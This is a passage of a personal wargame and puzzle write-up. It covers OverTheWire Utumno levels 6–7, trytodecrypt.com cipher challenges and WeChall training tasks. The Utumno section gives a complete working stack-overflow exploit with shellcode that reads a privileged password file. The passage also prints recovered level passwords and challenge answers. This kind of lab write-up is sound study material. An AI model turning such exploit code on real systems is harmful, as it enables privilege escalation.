envp[1] = None

libc.execve(b'/utumno/utumno6', argv, envp)

Address finding: Use GDB on the server to get EBP and NOP location. GDB vs non-GDB stack shift is ~0x60 on gibson-1 (from extra env vars GDB adds). Run the exploit directly (not in GDB) with addresses found via GDB + known offset.

VHOuCx7iA5

level 7 → utumno8

Level 7: Stack BOF with setjmp/longjmp. Binary allocates a 288-byte buffer at [ebp-0x120], a jmp_buf at [ebp-0xa0] (128 bytes into buffer), calls _setjmp, strcpy from argv[1], then longjmp.

glibc 2.39 PTR_MANGLE: longjmp uses pointer mangling on ESP and EIP (XOR with thread-local secret + rotate left 9). Only EBP is stored/restored raw. Direct EIP overwrite via jmp_buf doesn't work.

Strategy: Overwrite jmp_buf[3] (EBP, NOT mangled) at buffer offset 140 with the buffer address. After longjmp restores EBP = buffer_addr, the leave; ret sequence at vuln+84 pivots there.

Payload (144 bytes, null at byte 144 preserves mangled ESP/EIP):

1
2
3
4
5
6
7
8
buf[0-3]:   junk (popped into EBP by leave)
buf[4-7]: buf_addr + 8 (popped into EIP by ret)
buf[8-127]: shellcode + NOP padding (pwntools generates ~90 bytes)
buf[128-131]: EBX (any)
buf[132-135]: ESI (any)
buf[136-139]: EDI (any)
buf[140-143]: buf_addr (jmp_buf.EBP → stack pivot)
null at 144

Two critical details:

  1. Null-free shellcode: The shellcode must NOT contain null bytes (strcpy stops at the first null). Use mov bl, val; mov bh, val instead of mov ebx, val32 which embeds nulls in the high bytes.
  2. Avoid /bin/sh: Dash drops EUID to RUID on startup (privilege sanitization). Use execve("/bin/cat", ["/bin/cat", "/etc/utumno_pass/utumno8", NULL], NULL) instead — no shell, no privilege drop.
  3. Buffer address finding: Since randomize_va_space=0 but GDB subtly shifts the stack, use a test shellcode (exit(42)) to brute-force the address. On gibson-1 with full SSH environment, buffer = 0xffffda2c.

Exploit script (exploit.py):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
import os, sys, struct
from pwn import *; context.arch='i386'

buf_addr = int(sys.argv[1], 16) if len(sys.argv) > 1 else 0xffffda2c

# Build payload (145 bytes, null at byte 144 preserves mangled ESP/EIP)
payload = bytearray(145)
# buf[0-3]: junk (popped into EBP by leave)
payload[0:4] = struct.pack('<I', 0x41414141)
# buf[4-7]: buf_addr + 8 (popped into EIP by ret)
payload[4:8] = struct.pack('<I', buf_addr + 8)
# buf[8-127]: null-free shellcode + NOP padding
sc = asm(shellcraft.execve('/bin/cat', ['/bin/cat', '/etc/utumno_pass/utumno8']))
payload[8:8+len(sc)] = sc
for i in range(8 + len(sc), 128):
payload[i] = 0x90
# buf[128-131]: EBX (any)
payload[128:132] = struct.pack('<I', 0x42424242)
# buf[132-135]: ESI (any)
payload[132:136] = struct.pack('<I', 0x43434343)
# buf[136-139]: EDI (any)
payload[136:140] = struct.pack('<I', 0x44444444)
# buf[140-143]: buf_addr (jmp_buf.EBP → stack pivot)
payload[140:144] = struct.pack('<I', buf_addr)
# byte 144 = 0 (strcpy stop → preserves mangled ESP/EIP)
payload[144] = 0

os.execve('/utumno/utumno7', ['/utumno/utumno7', bytes(payload)], os.environ)
1
$ python3 exploit.py ffffda2c
oqnM7PWFIn

trytodecrypt.com

Text 19

5F70017FDD92B75AA6668648B404223663157787B35686FA165A8193E5075777F

与 Text 16 类似,每 4 位 hex 一组(偏移 + 编码字符)。前 13 位 hex(8 字节)是前缀/校验,有效数据从第 14 位开始。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
CHARSET = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! "

# ============================================================
# Text 19 — Too Much 1
# Known solution: R2D2:C3PO:BB8
# Structure: each char encoded as 5 hex chars
# First n hex chars = separators (1 per char)
def decode_text19(ct):
result = ""
if len(ct) == 65:
data = ct[13:]
else:
raise ValueError(f"Unexpected ciphertext length: {len(ct)}")

for i in range(0, len(data), 4):
pair = data[i : i + 4]
if len(pair) < 4:
break
offset = int(pair[0:2], 16)
enc = int(pair[2:4], 16)
diff = (enc - offset) % len(CHARSET)
if 0 <= diff < len(CHARSET):
result += CHARSET[diff]
else:
result += "?"

# Fixed version has 2 key chars prefix
if len(ct) == 76 and len(result) > 2:
return result[2:]
return result
R2D2:C3PO:BB8

Text 20

8221E4F2173368D6B6B6E5050935D986A8C4CA764CF8A8C4B734E99807140B19DB691998095CC4E3D6C60D6E91

结构

目标密文长度是 90 hex,明文长度应为 18 字符。API 加密满足:

1
len(encrypt(text)) == 5 * len(text)

每 5 hex token 可以按下面方式观察:

1
[prefix 1 hex][a 2 hex][b 2 hex]

目标密文按这个 layout 拆开:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pos group  p   a    b    (b-a)%71
0 8221E 8 34 30 67
1 4F217 4 242 23 65
2 3368D 3 54 141 16
3 6B6B6 6 182 182 0
4 E5050 E 80 80 0
5 935D9 9 53 217 22
6 86A8C 8 106 140 34
7 4CA76 4 202 118 58
8 4CF8A 4 207 138 2
9 8C4B7 8 196 183 58
10 34E99 3 78 153 4
11 80714 8 7 20 13
12 0B19D 0 177 157 51
13 B6919 B 105 25 62
14 98095 9 128 149 21
15 CC4E3 C 196 227 31
16 D6C60 D 108 96 59
17 D6E91 D 110 145 35

这题是 randomized encryption:同一 plaintext 每次加密都不同。简单把 b-aa-bxorprefix 当 key 都不成立。

1
2
3
prefixes = ct[:n]
pairs = ct[n:]
item_i = (prefixes[i], pairs[4*i:4*i+2], pairs[4*i+2:4*i+4])

在这个 layout 下,相邻 token 的 transition 有强信号:

1
delta_i = b_i - a_{i+1} mod 71

对 one-hot plaintext(例如 aaaaaaaaaaaaaaaaaawwwwwwwwwwwwwwwwww)采样时,前 13 个 transition 的 delta_i 对字符有明显泄露。它不是完美映射,会有错字和缺位,但不是随机噪声。把目标密文的前 13 个 transition 丢进这个映射,得到:

1
Par!2Lan6aaND

这个结果已经足够说明几件事:

1
2
3
Par      -> 很像 Paris 的开头
Lan -> 很像 London 的中段/开头线索
aaND -> 有明显的 N/D 大写结构,像 NewYork 这类拼接地名的残片

也就是说,算法至少泄露出“城市名串”的轮廓。再结合 Text 20 明文长度必须是 18 字符,最自然的补全是:

1
ParisLondonNewYork

用 solve API 验证:

1
solve?id=20&solution=ParisLondonNewYork -> 1
ParisLondonNewYork

已排除的方向

这些方向已经用 oracle 样本和 held-out 测试排除,不值得无新假设地重复:

1
2
3
4
5
6
7
8
exact 5-hex token dictionary
inline/front/split-half/first-byte key 布局
(b-a)%71, (a-b)%71, +/- prefix, xor, raw byte
first K hex as global key/nonce
affine forms mod 71/72/128/256
per-position naive Bayes / local feature classifier
Text20 -> Text23 子块投票迁移
solve API 低置信候选枚举

尤其是统计模型很容易在 constant corpus 上过拟合。用 random plaintext 做 5-fold held-out 后,top5 基本等于随机基线:

1
2
3
4
5
6
fold0 top1=0.0139 top5=0.0736
fold1 top1=0.0181 top5=0.0833
fold2 top1=0.0181 top5=0.0806
fold3 top1=0.0097 top5=0.0542
fold4 top1=0.0194 top5=0.0833
random_top5 baseline = 5/71 = 0.0704

一个有价值但尚未破解的结构

把密文看成 front layout:前 n 个 hex 是 prefix,后面每字符 4 hex 是两个 byte。这个视角下,前 13 个相邻 transition 有明显结构:

1
delta_i = b_i - a_{i+1} mod 256

对 repeated char 样本,前 13 个 transition 很稳定:

1
2
3
w -> w  基本总是 0
0 -> 0 主要是 163 / 162
a -> a 主要是 114 / 115

但从 pos13 之后,这个 transition 会退化成近随机。也就是说,算法里可能存在一段链式状态,长度或边界不是简单的 18 字符全程一致。

尝试把 target 的 transition 当成普通 pair dictionary 解路径失败:高分候选都不是合理明文,少量提交也返回 0。因此这里的结构更像某种 state/nonce/PRNG relation,而不是 F(ch_i, ch_{i+1}) 这种直接查表。

当前结论

Text 20 的答案已通过 solve API 验证。它的核心不是 per-token decode,也不是纯靠猜;而是:

1
2
3
4
5
1. 通过长度确认明文 18 字符。
2. 改用 front layout 拆出 prefix 和 byte pairs。
3. 从相邻 transition 中恢复出前 13 位附近的带噪声骨架:Par!2Lan6aaND。
4. 根据骨架和 18 字符长度,提出城市名串候选 ParisLondonNewYork。
5. 用 solve API 验证,返回 1。

所以这里确实有语义猜测,但不是 blind guess。更准确地说,它是“结构泄露 + 人类模式识别 + oracle 验证”。后 5 位没有找到独立稳定 channel,因此没有把完整公式还原出来。

Text 21

333131353156333131323231305230363135315631333151342F3430313131323154342F

每字符加密为 4 位 hex(2 ASCII 字节),固定替换表。密文 hex 解码后每 2 字节对应一个明文字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3
"""Build character mapping from trytodecrypt.com encrypt API.

Usage: trytodecrypt_get_char_map.py <text_id> <api_key>

Encrypts each character in the charset via the API, maps
full response -> character. Parallel requests for speed.
Outputs a sorted Python dict literal.
"""
import sys
import urllib.parse
import urllib.request
from concurrent.futures import ThreadPoolExecutor, as_completed

C = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! "
URL = "http://api.trytodecrypt.com/encrypt?key={key}&id={id}&text={text}"


def encrypt(ch, text_id, api_key):
url = URL.format(key=api_key, id=text_id, text=urllib.parse.quote(ch))
try:
with urllib.request.urlopen(url, timeout=10) as resp:
return resp.read().decode().strip()
except Exception as e:
return None


if __name__ == "__main__":
text_id = sys.argv[1]
api_key = sys.argv[2]

mapping = {}
total = len(C)
with ThreadPoolExecutor(max_workers=12) as pool:
fut_map = {pool.submit(encrypt, ch, text_id, api_key): ch for ch in C}
for i, fut in enumerate(as_completed(fut_map), 1):
ch = fut_map[fut]
enc = fut.result()
if enc:
mapping[enc] = ch
print(f"\r [{i}/{total}] {repr(ch)} -> {enc or 'FAIL'}" + " " * 10,
end="", file=sys.stderr, flush=True)
print(file=sys.stderr)

if mapping:
print({k: mapping[k] for k in sorted(mapping.keys())})
else:
print("{}")
sys.exit(1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
# ============================================================
# Text 21 — Too Much 3
# Known solution: TryToDecrypt! now!
# Encryption: each plaintext char maps to 4 fixed hex chars
# (step=4, simple substitution)
# ============================================================
def decode_text21(ct):
"""Decode Text 21 — fixed 4-hex substitution."""
# The known mapping (built from encrypt oracle):
# Each char -> exactly 4 hex chars
mapping = {
'0': '2F54',
'1': '2F55',
'2': '2F56',
'3': '302D',
'4': '302E',
'5': '302F',
'6': '3030',
'7': '3031',
'8': '3032',
'9': '3033',
'a': '3034',
'b': '3035',
'c': '3036',
'd': '3051',
'e': '3052',
'f': '3053',
'g': '3054',
'h': '3055',
'i': '3056',
'j': '312D',
'k': '312E',
'l': '312F',
'm': '3130',
'n': '3131',
'o': '3132',
'p': '3133',
'q': '3134',
'r': '3135',
's': '3136',
't': '3151',
'u': '3152',
'v': '3153',
'w': '3154',
'x': '3155',
'y': '3156',
'z': '322D',
'A': '322E',
'B': '322F',
'C': '3230',
'D': '3231',
'E': '3232',
'F': '3233',
'G': '3234',
'H': '3235',
'I': '3236',
'J': '3251',
'K': '3252',
'L': '3253',
'M': '3254',
'N': '3255',
'O': '3256',
'P': '332D',
'Q': '332E',
'R': '332F',
'S': '3330',
'T': '3331',
'U': '3332',
'V': '3333',
'W': '3334',
'X': '3335',
'Y': '3336',
'Z': '3351',
'-': '3352',
'_': '3353',
'.': '3354',
',': '3355',
';': '3356',
':': '342D',
'?': '342E',
'!': '342F',
' ': '3430',
}
reverse_mapping = {v: k for k, v in mapping.items()}

result = ""
for i in range(0, len(ct), 4):
chunk = ct[i : i + 4]
if chunk in reverse_mapping:
result += reverse_mapping[chunk]
else:
result += "?"
return result
TryToDecrypt! now!

Text 22

00100401400A0120A101C0310F503706004E05B0870A00880D80ED0BE1262890FD16816A1453453721963ED1D11F04624D9

结构分析

99 hex,每字符加密为 9 hex3 组 × 3 hex),共 11 字符。

加密是确定性的——同一输入永远返回同一输出——但算法是位置相关的:同一个字符在不同位置产生完全不同的密文。

加密 0(charset index 0)和 a(index 10)在不同位置的输出:

1
2
位置 0: '0' → [001, 003, 008]   'a' → [001, 003, 050]   仅 group2 变化
位置 1: '0' → [00A, 00F, 01F] 'a' → [00A, 012, 01C] group1/2 都变

关键观察:

  • group0 只与位置有关,与字符无关(同一位置所有字符共享同一个 group0,如位置 0 永远是 001、位置 1 永远是 00A)
  • group1 + group2 共同编码字符,但公式复杂且各位置不同
  • 不存在简单的线性公式——尝试过 (b2-b1) % 71(b1+b2-K) % 71(b1 XOR b2) % 71 等均不成立

解法:progressive guessing(渐进猜解)

不需要理解加密公式也能解密——只要能调用加密工具,就可以暴力猜解。

核心依赖密文的前缀保持性质

1
2
3
encrypt("a")     → 001003050          (9 hex)
encrypt("ab") → 00100305000A01201F (18 hex,前 9 hex 与 "a" 一致)
encrypt("abc") → 00100305000A01201F... (前 18 hex 与 "ab" 一致)

密文的前 N×9 hex 完全由明文的前 N 个字符决定。后续字符不影响前面的密文段。

算法:

  1. 从空字符串开始
  2. 对位置 i,已有正确前缀 guess(前 i 个字符已破解)
  3. 遍历 charset 中全部 71 个候选字符 c
  4. 通过 API 加密 guess + c
  5. 如果返回的密文以目标密文的前 (i+1)×9 hex 开头,则 c 就是第 i 位字符
  6. 重复至 11 位全部破解

最坏 11 × 71 = 781 次 API 调用,几分钟跑完。

关于反爬

最初尝试用 web 端加密(POST https://www.trytodecrypt.com/decrypt.php)做猜解,但非浏览器请求被服务端 bot 检测拦截,始终返回 503 Service Unavailable。即使带上 PHPSESSID cookie 和 User-Agent 也无济于事。

切换到独立 API 接口即解决:

1
2
3
4
5
6
# 有反爬(503)
POST https://www.trytodecrypt.com/decrypt.php?id=22
body: text=a&encrypt=Encrypt

# 无反爬(正常)
GET http://api.trytodecrypt.com/encrypt?key=KEY&id=22&text=a

API 端用 key 做身份认证,不做 bot 检测。key 在登录后从 API 页面 获取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import urllib.request, urllib.parse
API_KEY = 'YOUR_KEY_HERE'
CHARSET = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! '
target = '00100401400A0120A101C0310F503706004E05B0870A00880D80ED0BE1262890FD16816A1453453721963ED1D11F04624D9'
guess = ''
for pos in range(11):
for ch in CHARSET:
test = guess + ch
url = f'http://api.trytodecrypt.com/encrypt?key={API_KEY}&id=22&text={urllib.parse.quote(test)}'
resp = urllib.request.urlopen(url).read().decode().strip()
if resp.upper().startswith(target[:len(test)*9]):
guess = test
break
print(f' [{pos+1}/11] {guess}')
"

运行过程:

1
2
3
4
5
6
7
8
9
10
11
[1/11] m
[2/11] mi
[3/11] mis
[4/11] miss
[5/11] missi
[6/11] missis
[7/11] mississ
[8/11] mississi
[9/11] mississip
[10/11] mississipp
[11/11] mississippi
mississippi

Text 23

E3F59F001361B62958E551B9702F2C6B25F9E3FC350062295A1A20182041493C447BA0767A393A1F278DB14268565F51575C65212A8386494B383F7375676845472F30494C737A406890988B8D50577A835960476B6F73686E6367668B787A494C33357EA4555E191C18216A6F353A173E2026474A8A8C3F481416759D

这题最后的关键不是 PRNG,也不是统计分类,而是 递归套壳:Text 23 的整段 250-hex ciphertext 可以先按 Text19/Text20 那种 front-prefix layout 解出一层 50-hex 中间密文;这个中间密文再用同一个规则解一次,得到真正 plaintext。

第一层:把 250 hex 当成 50 个 5-hex token

目标密文长度是 250 hex。把它整体看成 50 个 5-hex token。

沿用前面 Text 19 / Text 20 里反复出现的 layout:

1
2
3
4
prefixes = ct[:n]
pairs = ct[n:]
item_i = (prefixes[i], pairs[4*i:4*i+2], pairs[4*i+2:4*i+4])
plain_i = CHARSET[(b_i - a_i) % 71]

对 Text 23,n = 250 / 5 = 50。第一层解出来不是最终明文,而是一个仍然全为 hex 的 50 字符串:

1
6888B418AC9699327212137E82797A464B232C93955D63292E

这一点非常反直觉,因为 API 行为确实显示:

1
len(encrypt(text)) == 25 * len(text)

所以目标明文长度看起来应是 10 字符。但真正结构是:外层把「内层 50-hex 密文」再包了一次。

第二层:对 50-hex 中间密文再解一次

中间密文长度 50 hex,同样可看成 10 个 5-hex token。再跑同一个 decode:

完整复现代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
CHARSET = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! '


def decode_once(ct):
n = len(ct) // 5
prefixes = ct[:n]
pairs = ct[n:]

out = ''
for i in range(n):
a = int(pairs[4*i:4*i+2], 16)
b = int(pairs[4*i+2:4*i+4], 16)
out += CHARSET[(b - a) % len(CHARSET)]
return out


target = 'E3F59F001361B62958E551B9702F2C6B25F9E3FC350062295A1A20182041493C447BA0767A393A1F278DB14268565F51575C65212A8386494B383F7375676845472F30494C737A406890988B8D50577A835960476B6F73686E6367668B787A494C33357EA4555E191C18216A6F353A173E2026474A8A8C3F481416759D'

mid = decode_once(target)
plain = decode_once(mid)

print(mid)
print(plain)
3.14159265

Challenge

It seems that the simple substitution ciphers are too easy for you. From my own experience I can tell that transposition ciphers are more difficult to attack. However, in this training challenge you should have not much problems to reveal the plaintext.

oWdnreuf.lY uoc nar ae dht eemssga eaw yebttrew eh nht eelttre sra enic roertco drre . Ihtni koy uowlu dilekt oes eoyrup sawsro don:we raphbmnmld.s

A transposition cipher where adjacent character pairs are swapped. The message includes: "Wonderful. You can read the message way better when the letters are in correct order. I think you would like to see your password now: XXXXXXXX"

Solution

Swap each adjacent pair of characters:

1
2
3
4
5
6
ct = "oWdnreuf.lY uoc nar ae dht eemssga eaw yebttrew eh nht eelttre sr..."
chars = list(ct)
for i in range(0, len(chars) - 1, 2):
chars[i], chars[i+1] = chars[i+1], chars[i]
result = ''.join(chars)
# result: "Wonderful. You can read the message way better when the letters are in correct order..."

Extract the password after "password now: ".

earhpmbmndls

Challenge

I guess you are done with Caesar I, aren't you? The big problem with caesar is that it does not allow digits or other characters. I have fixed this, and now I can use any ascii character in the plaintext. The keyspace has increased from 26 to 128 too. /

Enjoy!

Caesar cipher with full ASCII range (0-127). The keyspace has increased from 26 to 128.

Solution

The cipher bytes are displayed as hex values. Decode by trying all 128 shifts:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
hex_text="""53 7B 7B 70 20 76 7B 6E 38 20 05 7B 01 20 7F 7B
78 02 71 70 20 7B 7A 71 20 79 7B 7E 71 20 6F 74
6D 78 78 71 7A 73 71 20 75 7A 20 05 7B 01 7E 20
76 7B 01 7E 7A 71 05 3A 20 60 74 75 7F 20 7B 7A
71 20 03 6D 7F 20 72 6D 75 7E 78 05 20 71 6D 7F
05 20 00 7B 20 6F 7E 6D 6F 77 3A 20 63 6D 7F 7A
33 00 20 75 00 4B 20 3D 3E 44 20 77 71 05 7F 20
75 7F 20 6D 20 7D 01 75 00 71 20 7F 79 6D 78 78
20 77 71 05 7F 7C 6D 6F 71 38 20 7F 7B 20 75 00
20 7F 74 7B 01 78 70 7A 33 00 20 74 6D 02 71 20
00 6D 77 71 7A 20 05 7B 01 20 00 7B 7B 20 78 7B
7A 73 20 00 7B 20 70 71 6F 7E 05 7C 00 20 00 74
75 7F 20 79 71 7F 7F 6D 73 71 3A 20 63 71 78 78
20 70 7B 7A 71 38 20 05 7B 01 7E 20 7F 7B 78 01
00 75 7B 7A 20 75 7F 20 6F 7E 73 6D 6E 7C 7F 7B
6D 7C 73 79 3A"""
ct_bytes = [int(x, 16) for x in hex_text.split()]
for K in range(128):
decoded = ''.join(chr((b - K) % 128) for b in ct_bytes)
if 'is' in decoded:
print(f"K={K}: {decoded}")

The space character (0x20) is part of the shift and will appear as a different character after decoding. Replace the most frequent non-alpha character with space to read the message.

crgabpsoapgm

Challenge

A 4×4 pixel BMP image with hidden data. The challenge title says "This is the most basic image stegano I can think of."

Solution

Download the BMP file and read the pixel data directly — the message is stored as plaintext in the pixel bytes, not hidden with LSB steganography.

1
2
$ curl -O https://www.wechall.net/en/challenge/training/stegano1/stegano1.bmp
$ xxd stegano1.bmp | head -5

The pixel data at offset 54 contains the ASCII message:

1
2
3
4c 6f 6f 6b 20 77 68 61 74 20 74 68 65 20 68 65
78 2d 65 64 69 74 20 72 65 76 65 61 6c 65 64 3a
20 70 61 73 73 77 64 3a 73 74 65 67 61 6e 6f 49

Decoded: "Look what the hex-editor revealed: passwd:steganoI"

steganoI
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE